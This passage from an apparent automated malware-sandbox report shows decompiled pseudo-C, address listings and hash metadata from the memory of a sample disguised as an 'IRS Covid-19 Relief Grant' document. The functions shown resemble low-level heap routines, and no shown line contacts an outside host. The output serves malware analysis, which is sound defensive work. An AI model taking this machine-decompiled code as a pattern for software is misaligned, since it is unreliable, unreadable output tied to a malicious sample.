				_v16 = _a8 -  *((intOrPtr*)(__edx + 0x14));
				_v28 = _t111;
				if(_t111 == _t69) {
					L7:
					_t70 = _t111;
					goto L8;
				} else {
					_t127 = _a4;
					if(_t127 == 0) {
						_t171 = _t158 -  *((intOrPtr*)(_t69 + 0x14));
					} else {
						_t182 =  *(_t69 - 8);
						_v20 = _t69 + 0xfffffff8;
						if( *((intOrPtr*)(__ecx + 0x4c)) != 0) {
							_t105 =  *(__ecx + 0x50) ^ _t182;
							_v12 = _t105;
							_t107 = _v12;
							_t146 = _t105 >> 0x00000010 ^ _t105 >> 0x00000008 ^ _t107;
							if(_t107 >> 0x18 != _t146) {
								_push(_t146);
								E1E32A80D(__ecx, _v20, 0, 0);
								_t149 = _v8;
							}
							_t182 = _v12;
							_t127 = _a4;
						}
						_t171 = _t158 - (_t182 & 0x0000ffff);
					}
					if(_t171 <= 0) {
						_t71 =  *_t111;
						if(_t127 == 0) {
							_t173 = _t158 -  *((intOrPtr*)(_t71 + 0x14));
						} else {
							_t180 =  *(_t71 - 8);
							_v20 = _t71 + 0xfffffff8;
							if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
								_t97 =  *(_t149 + 0x50) ^ _t180;
								_v12 = _t97;
								_t99 = _v12;
								_t141 = _t97 >> 0x00000010 ^ _t97 >> 0x00000008 ^ _t99;
								if(_t99 >> 0x18 != _t141) {
									_push(_t141);
									E1E32A80D(_t149, _v20, 0, 0);
									_t149 = _v8;
								}
								_t180 = _v12;
								_t127 = _a4;
							}
							_t173 = _t158 - (_t180 & 0x0000ffff);
						}
						if(_t173 <= 0) {
							return  *_t111;
						} else {
							_t175 = _v24;
							if( *_t175 != 0 || _a8 !=  *((intOrPtr*)(_t175 + 4)) - 1) {
								_t128 = _v16;
								_t73 =  *((intOrPtr*)(_t175 + 0x1c));
								_t151 = _t128 >> 5;
								_t164 = ( *((intOrPtr*)(_t175 + 4)) -  *((intOrPtr*)(_t175 + 0x14)) >> 5) - 1;
								_t118 =  !((1 << (_t128 & 0x0000001f)) - 1) &  *(_t73 + _t151 * 4);
								_t74 = _t73 + _t151 * 4;
								if(1 == 0) {
									while(_t151 <= _t164) {
										_t118 =  *(_t74 + 4);
										_t74 = _t74 + 4;
										_t151 = _t151 + 1;
										if(_t118 == 0) {
											continue;
										} else {
											goto L28;
										}
										goto L51;
									}
									if(_t118 != 0) {
										goto L28;
									} else {
										goto L40;
									}
								} else {
									L28:
									if(_t118 == 0) {
										_t77 = _t118 >> 0x00000010 & 0x000000ff;
										if(_t77 != 0) {
											_t79 = ( *(_t77 + 0x1e2484d0) & 0x000000ff) + 0x10;
										} else {
											_t57 = (_t118 >> 0x18) + 0x1e2484d0; // 0x10008
											_t79 = ( *_t57 & 0x000000ff) + 0x18;
										}
									} else {
										_t82 = _t118 & 0x000000ff;
										if(_t118 == 0) {
											_t79 = ( *((_t118 >> 0x00000008 & 0x000000ff) + 0x1e2484d0) & 0x000000ff) + 8;
										} else {
											_t79 =  *(_t82 + 0x1e2484d0) & 0x000000ff;
										}
									}
									_t153 = (_t151 << 5) + _t79;
									if( *((intOrPtr*)(_t175 + 8)) != 0) {
										_t153 = _t153 + _t153;
									}
									_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x20)) + _t153 * 4));
									L8:
									return _t70;
								}
							} else {
								_t88 = _v16;
								if( *((intOrPtr*)(_t175 + 8)) != 0) {
									_t88 = _t88 + _t88;
								}
								_t178 =  *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x20)) + _t88 * 4));
								if(_t111 == _t178) {
									L40:
									return 0;
								} else {
									do {
										if(_t127 == 0) {
											_t131 = _t158 -  *((intOrPtr*)(_t178 + 0x14));
										} else {
											_t167 =  *(_t178 - 8);
											_t123 = _t178 - 8;
											if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
												_t155 =  *(_t149 + 0x50) ^ _t167;
												_t167 = _t155;
												_t136 = _t155 >> 0x00000010 ^ _t155 >> 0x00000008 ^ _t155;
												_t149 = _v8;
												if(_t155 >> 0x18 != _t136) {
													_push(_t136);
													E1E32A80D(_t149, _t123, 0, 0);
													_t149 = _v8;
												}
											}
											_t111 = _v28;
											_t158 = _a12;
											_t131 = _t158 - (_t167 & 0x0000ffff);
										}
										if(_t131 <= 0) {
											return _t178;
										} else {
											goto L24;
										}
										goto L51;
										L24:
										_t178 =  *_t178;
										_t127 = _a4;
									} while (_t111 != _t178);
									goto L40;
								}
							}
						}
					} else {
						goto L7;
					}
				}
				L51:
			}

0x1e28ab4a
0x1e28ab51
0x1e28ab57
0x1e28ab5b
0x1e28ab5e
0x1e28ab61
0x1e28ab64
0x1e28ab67
0x1e28ab6c
0x1e28abbb
0x1e28abbb
0x00000000
0x1e28ab6e
0x1e28ab6e
0x1e28ab73
0x1e28ad70
0x1e28ab79
0x1e28ab79
0x1e28ab83
0x1e28ab86
0x1e28ab8b
0x1e28ab8f
0x1e28ab9a
0x1e28ab9d
0x1e28aba4
0x1e2d242c
0x1e2d2439
0x1e2d243e
0x1e2d243e
0x1e28abaa
0x1e28abad
0x1e28abad
0x1e28abb5
0x1e28abb5
0x1e28abb9
0x1e28abc6
0x1e28abca
0x1e28ad7a
0x1e28abd0
0x1e28abd0
0x1e28abda
0x1e28abdd
0x1e28abe2
0x1e28abe6
0x1e28abf1
0x1e28abf4
0x1e28abfb
0x1e2d2446
0x1e2d2453
0x1e2d2458
0x1e2d2458
0x1e28ac01
0x1e28ac04
0x1e28ac04
0x1e28ac0c
0x1e28ac0c
0x1e28ac10
0x1e28ad6b
0x1e28ac16
0x1e28ac16
0x1e28ac1c
0x1e28aca7
0x1e28acba
0x1e28acbd
0x1e28acc8
0x1e28acc9
0x1e28accc
0x1e28accf
0x1e28ad00
0x1e28ad04
0x1e28ad07
0x1e28ad0a
0x1e28ad0d
0x00000000
0x1e28ad0f
0x00000000
0x1e28ad0f
0x00000000
0x1e28ad0d
0x1e28ad40
0x00000000
0x00000000
0x00000000
0x00000000
0x1e28acd1
0x1e28acd1
0x1e28acd4
0x1e28ad16
0x1e28ad1b
0x1e28ad54
0x1e28ad1d
0x1e28ad20
0x1e28ad27
0x1e28ad27
0x1e28acd6
0x1e28acd6
0x1e28acdb
0x1e28ad39
0x1e28acdd
0x1e28acdd
0x1e28acdd
0x1e28acdb
0x1e28ace7
0x1e28aced
0x1e2d247f
0x1e2d247f
0x1e28acf6
0x1e28abbd
0x1e28abc3
0x1e28abc3
0x1e28ac2b
0x1e28ac2f
0x1e28ac32
0x1e2d2460
0x1e2d2460
0x1e28ac3b
0x1e28ac40
0x1e28ad42
0x1e28ad4a
0x1e28ac46
0x1e28ac46
0x1e28ac48
0x1e28ad5b
0x1e28ac4e
0x1e28ac4e
0x1e28ac51
0x1e28ac58
0x1e28ac5d
0x1e28ac66
0x1e28ac6d
0x1e28ac74
0x1e28ac77
0x1e2d2467
0x1e2d2472
0x1e2d2477
0x1e2d2477
0x1e28ac77
0x1e28ac7d
0x1e28ac83
0x1e28ac88
0x1e28ac88
0x1e28ac8c
0x1e28aca4
0x00000000
0x00000000
0x00000000
0x00000000
0x1e28ac8e
0x1e28ac8e
0x1e28ac90
0x1e28ac93
0x00000000
0x1e28ac46
0x1e28ac40
0x1e28ac1c
0x00000000
0x00000000
0x00000000
0x1e28abb9
0x00000000

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f808e5ef9e54715ec151916eff7e26fb8713240de513ee991fbc97e8fab2f4
Instruction ID: e093c559ef272dc79c9c79b5034aea3967bac52948a7f3f04d883c75ac0a5788
Opcode Fuzzy Hash: 14f808e5ef9e54715ec151916eff7e26fb8713240de513ee991fbc97e8fab2f4
Instruction Fuzzy Hash: CA81D7B2A1025A8BDB54CE59C870B6AB7E2FF85311F254359D981AF3C1DA30FD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E3325DD, Relevance: .2, Instructions: 232
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E1E3325DD(signed int __ecx, intOrPtr __edx, void* __eflags, signed int _a4, signed int _a8, signed int _a12, char* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				void* __ebx;
				void* __edi;
				signed int _t74;
				signed int _t77;
				signed int _t80;
				signed int _t82;
				signed int _t102;
				signed int _t117;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				intOrPtr _t135;
				void* _t154;
				signed int _t160;
				signed int _t168;
				unsigned int _t175;
				signed int _t185;
				signed int _t187;
				signed int _t189;
				signed int _t190;
				signed int _t191;
				signed int _t193;
				signed int _t194;
				unsigned int _t200;
				unsigned int _t201;
				signed char _t202;
				signed int _t204;
				signed int _t210;
				intOrPtr _t211;
				signed int _t212;

				_t133 = _a4;
				_v24 = __edx;
				_v16 = __ecx;
				E1E332E3F(__ecx, __edx, __eflags, _t133);
				_t204 = _a8;
				_t187 = 0x10;
				_t210 = (( *_t133 ^  *0x1e356110 ^ _t133) >> 0x00000001 & 0x00007fff) - _t204;
				if(_t210 != 0 && ( *(_v16 + 0x38) & 0x00000001) != 0) {
					_t185 = (_t133 + _t204 * 0x00000008 + 0x00000fff & 0xfffff000) - _t133 + _t204 * 8 >> 3;
					_t132 = _t185 << 3;
					if(_t132 >= _t187) {
						if(__eflags != 0) {
							__eflags = _t132 - 0x20;
							if(_t132 < 0x20) {
								_t204 = _t204 + 1;
								_t210 = _t210 - 1;
								__eflags = _t210;
							}
						}
					} else {
						_t204 = _t204 + _t185;
						_t210 = _t210 - _t185;
					}
				}
				if(_t210 << 3 < _t187) {
					_t204 = _t204 + _t210;
				}
				_t74 =  *0x1e356110; // 0x3c48ecc
				asm("sbb edx, edx");
				_t189 =  !_t187 & _t210;
				_t211 = _v24;
				_v20 = _t189;
				 *_t133 = ( !_t74 ^  *_t133 ^ _t133) & 0x7fffffff ^  !_t74 ^ _t133;
				_t152 = _t133 - _t211;
				_t77 = _t133 - _t211 >> 0xc;
				_v28 = _t77;
				_t80 = (_t77 ^  *0x1e356110 ^ _t133) & 0x000000ff;
				_v32 = _t80;
				 *(_t133 + 4) = _t80;
				_t82 = _t204 << 3;
				if(_t189 != 0) {
					_t82 = _t82 + 0x10;
				}
				_t190 = _t189 | 0xffffffff;
				_t154 = 0x3f;
				_v12 = E1E2AD340(_t82 + _t152 - 0x00000001 >> 0x0000000c | 0xffffffff, _t154 - (_t82 + _t152 - 1 >> 0xc), _t190);
				_v8 = _t190;
				_t191 = _t190 | 0xffffffff;
				_v12 = _v12 & E1E2AD0F0(_t86 | 0xffffffff, _v28, _t191);
				_v8 = _v8 & _t191;
				_t193 = _v12 & ( *(_t211 + 8) ^ _v12);
				_t212 = _v20;
				_t160 = _v8 & ( *(_t211 + 0xc) ^ _v8);
				_v12 = _t193;
				_v8 = _t160;
				if((_t193 | _t160) != 0) {
					 *(_t133 + 4) = _v32 | 0x00000200;
					_t117 = _a12 & 0x00000001;
					_v32 = _t117;
					if(_t117 == 0) {
						E1E27FFB0(_t133, _t204, _v16);
						_t193 = _v12;
					}
					_t212 = _v20;
					_t200 =  !_v8;
					_t121 = _t200 & 0x000000ff;
					_t201 = _t200 >> 8;
					_t44 = _t121 + 0x1e24ac00; // 0x6070708
					_t122 = _t201 & 0x000000ff;
					_t202 = _t201 >> 8;
					_t175 = _t202 >> 8;
					_t45 = _t122 + 0x1e24ac00; // 0x6070708
					_t123 = _t202 & 0x000000ff;
					_t47 = _t175 + 0x1e24ac00; // 0x6060706
					_t48 = _t123 + 0x1e24ac00; // 0x6070708
					_t142 = _v16;
					if(E1E332FBD(_v16, _v24, _v12, _v8, ( *_t44 +  *_t45 +  *_t47 +  *_t48 & 0x000000ff) + ( *_t44 +  *_t45 +  *_t47 +  *_t48 & 0x000000ff), 1) < 0) {
						_t212 = _t212 + _t204;
						_t204 = 0;
					}
					if(_v32 == 0) {
						E1E282280(_t125, _t142);
					}
					_t133 = _a4;
					 *_a16 = 0xff;
					 *(_t133 + 4) =  *(_t133 + 4) & 0xfffffdff;
				}
				 *_t133 =  *_t133 ^ (_t204 + _t204 ^  *_t133 ^  *0x1e356110 ^ _t133) & 0x0000fffe;
				if(_t212 != 0) {
					_t194 = _t133 + _t204 * 8;
					_t134 =  *0x1e356110; // 0x3c48ecc
					if(_t204 == 0) {
						_t102 = ( *_t194 ^ _t134 ^ _t194) & 0x7fff0000;
						__eflags = _t102;
					} else {
						_t102 = _t204 << 0x10;
					}
					_t135 = _v24;
					 *_t194 = ((_t212 & 0x00007fff | 0xc0000000) + (_t212 & 0x00007fff | 0xc0000000) | _t102) ^ _t134 ^ _t194;
					_t168 = _t194 + _t212 * 8;
					 *(_t194 + 4) = (_t194 - _t135 >> 0x0000000c ^  *0x1e356110 ^ _t194) & 0x000000ff;
					if(_t168 < _t135 + (( *(_t135 + 0x14) & 0x0000ffff) + 3) * 8) {
						 *_t168 =  *_t168 ^ (_t212 << 0x00000010 ^  *_t168 ^  *0x1e356110 ^ _t168) & 0x7fff0000;
					}
					E1E33241A(_v16, _t135, _t194, _a12, _a16);
				}
				return _t204;
			}

0x1e3325e6
0x1e3325f6
0x1e3325fb
0x1e3325fe
0x1e332603
0x1e332610
0x1e332611
0x1e332613
0x1e33262f
0x1e332634
0x1e332639
0x1e332641
0x1e332643
0x1e332646
0x1e332648
0x1e332649
0x1e332649
0x1e332649
0x1e332646
0x1e33263b
0x1e33263b
0x1e33263d
0x1e33263d
0x1e332639
0x1e332651
0x1e332653
0x1e332655
0x1e332657
0x1e33265c
0x1e332668
0x1e33266a
0x1e332675
0x1e33267c
0x1e332680
0x1e332684
0x1e332687
0x1e332692
0x1e332695
0x1e332698
0x1e33269d
0x1e3326a2
0x1e3326a4
0x1e3326a4
0x1e3326a8
0x1e3326b2
0x1e3326c0
0x1e3326c6
0x1e3326c9
0x1e3326d1
0x1e3326d4
0x1e3326e2
0x1e3326ea
0x1e3326ed
0x1e3326f1
0x1e3326f6
0x1e3326f9
0x1e332707
0x1e33270d
0x1e332710
0x1e332713
0x1e332718
0x1e33271d
0x1e33271d
0x1e332722
0x1e332750
0x1e332758
0x1e33275d
0x1e332760
0x1e332766
0x1e332769
0x1e33276e
0x1e332771
0x1e332777
0x1e33277d
0x1e332783
0x1e332791
0x1e3327a7
0x1e3327a9
0x1e3327ab
0x1e3327ab
0x1e3327b1
0x1e3327b4
0x1e3327b4
0x1e3327bc
0x1e3327bf
0x1e3327c2
0x1e3327c2
0x1e3327db
0x1e3327df
0x1e3327e5
0x1e3327e8
0x1e3327f0
0x1e3327ff
0x1e3327ff
0x1e3327f2
0x1e3327f4
0x1e3327f4
0x1e33281a
0x1e332824
0x1e332826
0x1e332834
0x1e332843
0x1e332858
0x1e332858
0x1e332866
0x1e332866
0x1e332873

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 694eae9f78fba784789e9216c4f557453a8a31e75007ae353ff80a30179415f6
Instruction ID: a5399f952eabc0ef74838d2dd87ddce682b638f014b2b2c9243a258463315472
Opcode Fuzzy Hash: 694eae9f78fba784789e9216c4f557453a8a31e75007ae353ff80a30179415f6
Instruction Fuzzy Hash: F6811876A101558BDB08CF79C8A1A7EBBF1FF88311B268769D851EB385DB34E901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E331D55, Relevance: .2, Instructions: 226
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E1E331D55(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t97;
				signed int _t101;
				signed int _t112;
				unsigned int _t113;
				signed int _t121;
				signed int _t128;
				signed int _t130;
				signed char _t135;
				intOrPtr _t136;
				intOrPtr _t137;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				signed int _t144;
				signed int _t149;
				signed int _t150;
				void* _t154;
				signed int* _t161;
				signed int _t163;
				signed int _t164;
				void* _t167;
				intOrPtr _t171;
				signed int _t172;
				void* _t175;
				signed int* _t178;
				signed int _t179;
				signed int _t180;
				signed char _t181;
				signed char _t183;
				signed int _t187;
				signed int _t189;
				signed int _t190;
				void* _t191;
				void* _t197;

				_t137 = __ecx;
				_push(0x64);
				_push(0x1e341070);
				E1E2BD08C(__ebx, __edi, __esi);
				 *(_t191 - 0x24) = __edx;
				 *((intOrPtr*)(_t191 - 0x20)) = __ecx;
				 *((intOrPtr*)(_t191 - 0x38)) = __ecx;
				_t135 = 0;
				 *(_t191 - 0x40) = 0;
				_t171 =  *((intOrPtr*)(__ecx + 0xc));
				_t189 =  *(__ecx + 8);
				 *(_t191 - 0x28) = _t189;
				 *((intOrPtr*)(_t191 - 0x3c)) = _t171;
				 *(_t191 - 0x50) = _t189;
				_t187 = __edx << 0xf;
				 *(_t191 - 0x4c) = _t187;
				_t190 = 0x8000;
				 *(_t191 - 0x34) = 0x8000;
				_t172 = _t171 - _t187;
				if(_t172 <= 0x8000) {
					_t190 = _t172;
					 *(_t191 - 0x34) = _t172;
				}
				 *(_t191 - 0x68) = _t135;
				 *(_t191 - 0x64) = _t135;
				L3:
				while(1) {
					if( *(_t191 + 8) != 0) {
						L22:
						 *(_t191 + 8) = _t135;
						E1E33337F(_t137, 1, _t191 - 0x74);
						_t97 =  *((intOrPtr*)(_t191 - 0x20));
						_t175 =  *(_t97 + 0x14);
						 *(_t191 - 0x58) = _t175;
						_t139 = _t97 + 0x14;
						 *(_t191 - 0x44) = _t139;
						_t197 = _t175 - 0xffffffff;
						if(_t197 == 0) {
							 *_t139 =  *(_t191 - 0x24);
							E1E3333B6(_t191 - 0x74);
							 *(_t191 - 0x40) = 1;
							_t60 =  *((intOrPtr*)(_t191 - 0x38)) + 4; // 0x40c03332
							_t101 =  *_t60;
							_t141 =  *(_t191 - 0x24);
							asm("bt [eax], ecx");
							_t103 = (_t101 & 0xffffff00 | __eflags > 0x00000000) & 0x000000ff;
							if(__eflags == 0) {
								goto L41;
							} else {
								_t103 = _t187 - 1 + _t190;
								__eflags = _t187 - 1 + _t190 -  *((intOrPtr*)(_t191 - 0x3c));
								if(_t187 - 1 + _t190 >=  *((intOrPtr*)(_t191 - 0x3c))) {
									goto L41;
								} else {
									__eflags = _t190 - 1;
									if(__eflags > 0) {
										_t143 =  *(_t191 - 0x28);
										_t178 = _t143 + (_t187 >> 5) * 4;
										_t144 = _t143 + (_t187 - 1 + _t190 >> 5) * 4;
										 *(_t191 - 0x50) = _t144;
										_t112 =  *_t178;
										 *(_t191 - 0x54) = _t112;
										_t113 = _t112 | 0xffffffff;
										__eflags = _t178 - _t144;
										if(_t178 != _t144) {
											_t103 = _t113 << _t187;
											__eflags =  *_t178 & _t103;
											if(( *_t178 & _t103) != 0) {
												goto L41;
											} else {
												_t103 =  *(_t191 - 0x50);
												while(1) {
													_t178 =  &(_t178[1]);
													__eflags = _t178 - _t103;
													if(_t178 == _t103) {
														break;
													}
													__eflags =  *_t178 - _t135;
													if( *_t178 != _t135) {
														goto L41;
													} else {
														continue;
													}
													goto L42;
												}
												_t103 = (_t103 | 0xffffffff) >>  !(_t187 - 1 + _t190);
												__eflags = _t103;
												_t149 =  *_t178;
												goto L38;
											}
										} else {
											_t154 = 0x20;
											_t103 = _t113 >> _t154 - _t190 << _t187;
											_t149 =  *(_t191 - 0x54);
											L38:
											_t150 = _t149 & _t103;
											__eflags = _t150;
											asm("sbb cl, cl");
											_t135 =  ~_t150 + 1;
											_t141 =  *(_t191 - 0x24);
											goto L39;
										}
									} else {
										if(__eflags != 0) {
											goto L41;
										} else {
											_t103 =  *(_t191 - 0x28);
											asm("bt [eax], edi");
											if(__eflags >= 0) {
												L40:
												_t136 =  *((intOrPtr*)(_t191 - 0x20));
												asm("lock btr [eax], ecx");
												 *((intOrPtr*)(_t191 - 0x60)) = (_t141 << 0xc) +  *((intOrPtr*)(_t136 + 8));
												 *((intOrPtr*)(_t191 - 0x5c)) = 0x1000;
												_push(0x4000);
												_push(_t191 - 0x5c);
												_push(_t191 - 0x60);
												_push(0xffffffff);
												_t103 = E1E2A96E0();
											} else {
												L39:
												__eflags = _t135;
												if(_t135 == 0) {
													goto L41;
												} else {
													goto L40;
												}
											}
										}
									}
								}
							}
						} else {
							E1E3333B6(_t191 - 0x74);
							_t172 = _t191 - 0x58;
							E1E29E18B( *(_t191 - 0x44), _t172, 4, _t135,  *0x1e355880);
							_t51 =  *((intOrPtr*)(_t191 - 0x38)) + 4; // 0x40c03332
							_t121 =  *_t51;
							asm("bt [eax], ecx");
							_t103 = (_t121 & 0xffffff00 | _t197 > 0x00000000) & 0x000000ff;
							if(((_t121 & 0xffffff00 | _t197 > 0x00000000) & 0x000000ff) == 0) {
								goto L41;
							} else {
								_t137 =  *((intOrPtr*)(_t191 - 0x20));
								continue;
							}
						}
					} else {
						 *(_t191 - 4) = _t135;
						_t103 = _t187 - 1 + _t190;
						 *(_t191 - 0x30) = _t103;
						if(_t103 <  *((intOrPtr*)(_t191 - 0x3c))) {
							__eflags = _t190 - 1;
							if(__eflags > 0) {
								_t179 =  *(_t191 - 0x28);
								_t161 = _t179 + (_t187 >> 5) * 4;
								 *(_t191 - 0x2c) = _t161;
								_t128 = _t179 + ( *(_t191 - 0x30) >> 5) * 4;
								 *(_t191 - 0x44) = _t128;
								_t180 =  *_t161;
								__eflags = _t161 - _t128;
								if(_t161 != _t128) {
									_t103 = (_t128 | 0xffffffff) << _t187;
									__eflags = _t103 & _t180;
									if((_t103 & _t180) != 0) {
										goto L5;
									} else {
										_t130 =  *(_t191 - 0x2c);
										_t164 =  *(_t191 - 0x44);
										while(1) {
											_t130 = _t130 + 4;
											 *(_t191 - 0x2c) = _t130;
											_t180 =  *_t130;
											__eflags = _t130 - _t164;
											if(_t130 == _t164) {
												break;
											}
											__eflags = _t180;
											if(_t180 == 0) {
												continue;
											} else {
												goto L5;
											}
											goto L19;
										}
										_t103 = (_t130 | 0xffffffff) >>  !( *(_t191 - 0x30));
										__eflags = _t103;
										goto L17;
									}
								} else {
									_t167 = 0x20;
									_t103 = (_t128 | 0xffffffff) >> _t167 - _t190 << _t187;
									L17:
									_t183 =  ~(_t180 & _t103);
									asm("sbb dl, dl");
									goto L18;
								}
							} else {
								if(__eflags != 0) {
									goto L5;
								} else {
									_t103 =  *(_t191 - 0x28);
									asm("bt [eax], edi");
									_t183 =  ~(_t172 & 0xffffff00 | __eflags > 0x00000000);
									asm("sbb dl, dl");
									L18:
									_t181 = _t183 + 1;
									__eflags = _t181;
								}
							}
						} else {
							L5:
							_t181 = _t135;
						}
						L19:
						 *(_t191 - 0x19) = _t181;
						_t163 = _t181 & 0x000000ff;
						 *(_t191 - 0x48) = _t163;
						 *(_t191 - 4) = 0xfffffffe;
						if(_t163 == 0) {
							L41:
							_t136 =  *((intOrPtr*)(_t191 - 0x20));
						} else {
							_t137 =  *((intOrPtr*)(_t191 - 0x20));
							goto L22;
						}
					}
					L42:
					__eflags =  *(_t191 - 0x40);
					if( *(_t191 - 0x40) != 0) {
						_t91 = _t136 + 0x14; // 0x14
						_t142 = _t91;
						 *_t91 = 0xffffffff;
						__eflags = 0;
						asm("lock or [eax], edx");
						_t103 = E1E29DFDF(_t91, 1, _t142);
					}
					return E1E2BD0D1(_t103);
				}
			}

0x1e331d55
0x1e331d55
0x1e331d57
0x1e331d5c
0x1e331d63
0x1e331d66
0x1e331d69
0x1e331d6c
0x1e331d6e
0x1e331d71
0x1e331d74
0x1e331d77
0x1e331d7a
0x1e331d7d
0x1e331d82
0x1e331d85
0x1e331d88
0x1e331d8d
0x1e331d90
0x1e331d94
0x1e331d96
0x1e331d98
0x1e331d98
0x1e331d9b
0x1e331d9e
0x00000000
0x1e331da1
0x1e331da5
0x1e331e78
0x1e331e78
0x1e331e82
0x1e331e87
0x1e331e8a
0x1e331e8d
0x1e331e92
0x1e331e95
0x1e331e98
0x1e331e9b
0x1e331ede
0x1e331ee3
0x1e331ee8
0x1e331ef2
0x1e331ef2
0x1e331ef5
0x1e331ef8
0x1e331efe
0x1e331f03
0x00000000
0x1e331f09
0x1e331f0c
0x1e331f0e
0x1e331f11
0x00000000
0x1e331f17
0x1e331f17
0x1e331f1a
0x1e331f31
0x1e331f34
0x1e331f3f
0x1e331f42
0x1e331f45
0x1e331f47
0x1e331f4a
0x1e331f4d
0x1e331f4f
0x1e331f63
0x1e331f65
0x1e331f67
0x00000000
0x1e331f69
0x1e331f69
0x1e331f72
0x1e331f72
0x1e331f75
0x1e331f77
0x00000000
0x00000000
0x1e331f6e
0x1e331f70
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e331f70
0x1e331f83
0x1e331f83
0x1e331f85
0x00000000
0x1e331f85
0x1e331f51
0x1e331f53
0x1e331f5a
0x1e331f5c
0x1e331f87
0x1e331f87
0x1e331f87
0x1e331f8b
0x1e331f8d
0x1e331f90
0x00000000
0x1e331f90
0x1e331f1c
0x1e331f1c
0x00000000
0x1e331f22
0x1e331f22
0x1e331f25
0x1e331f28
0x1e331f97
0x1e331f97
0x1e331f9d
0x1e331fa7
0x1e331faa
0x1e331fb1
0x1e331fb9
0x1e331fbd
0x1e331fbe
0x1e331fc0
0x1e331f2a
0x1e331f93
0x1e331f93
0x1e331f95
0x00000000
0x00000000
0x00000000
0x00000000
0x1e331f95
0x1e331f28
0x1e331f1c
0x1e331f1a
0x1e331f11
0x1e331e9d
0x1e331ea0
0x1e331eae
0x1e331eb4
0x1e331ebc
0x1e331ebc
0x1e331ec2
0x1e331ec8
0x1e331ecd
0x00000000
0x1e331ed3
0x1e331ed3
0x00000000
0x1e331ed3
0x1e331ecd
0x1e331dab
0x1e331dab
0x1e331db1
0x1e331db3
0x1e331db9
0x1e331dbf
0x1e331dc2
0x1e331dda
0x1e331ddd
0x1e331de0
0x1e331de9
0x1e331dec
0x1e331def
0x1e331df1
0x1e331df3
0x1e331e0a
0x1e331e0c
0x1e331e0e
0x00000000
0x1e331e10
0x1e331e10
0x1e331e13
0x1e331e16
0x1e331e16
0x1e331e19
0x1e331e1c
0x1e331e1e
0x1e331e20
0x00000000
0x00000000
0x1e331e22
0x1e331e24
0x00000000
0x1e331e26
0x00000000
0x1e331e26
0x00000000
0x1e331e24
0x1e331e30
0x1e331e30
0x00000000
0x1e331e30
0x1e331df5
0x1e331df7
0x1e331e01
0x1e331e32
0x1e331e34
0x1e331e36
0x00000000
0x1e331e36
0x1e331dc4
0x1e331dc4
0x00000000
0x1e331dc6
0x1e331dc6
0x1e331dc9
0x1e331dcf
0x1e331dd1
0x1e331e38
0x1e331e38
0x1e331e38
0x1e331e38
0x1e331dc4
0x1e331dbb
0x1e331dbb
0x1e331dbb
0x1e331dbb
0x1e331e3a
0x1e331e3a
0x1e331e3d
0x1e331e40
0x1e331e43
0x1e331e6f
0x1e331fc7
0x1e331fc7
0x1e331e75
0x1e331e75
0x00000000
0x1e331e75
0x1e331e6f
0x1e331fca
0x1e331fca
0x1e331fce
0x1e331fd0
0x1e331fd0
0x1e331fd3
0x1e331fd9
0x1e331fde
0x1e331fe4
0x1e331fe4
0x1e331fee
0x1e331fee

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61c2aadd408eb854e3ceeb5f3b9c07809c7e1d5d6f6a830aa5f56fee4764ab92
Instruction ID: 9474b6717a0b7291e2c2ebc84ed68224d0cd8dfc6b83afe7f0b53420b1c89e19
Opcode Fuzzy Hash: 61c2aadd408eb854e3ceeb5f3b9c07809c7e1d5d6f6a830aa5f56fee4764ab92
Instruction Fuzzy Hash: 94815C75E102598FCB08CFA9C8909ECB7F6BF89315B248369E415AB3D4DB31A945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E3203DA, Relevance: .2, Instructions: 218
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E1E3203DA(signed int* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int* _v20;
				signed int _v24;
				signed char _v28;
				signed int _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				intOrPtr* _t80;
				signed int _t87;
				signed char _t90;
				signed int _t107;
				intOrPtr* _t119;
				signed int _t120;
				signed int _t121;
				signed char _t127;
				void* _t129;
				intOrPtr* _t130;
				signed int _t137;
				signed int _t139;
				signed int _t141;
				signed int _t144;
				signed char _t148;
				signed int _t154;
				signed char _t155;
				signed int _t164;
				unsigned int _t167;
				signed int _t168;
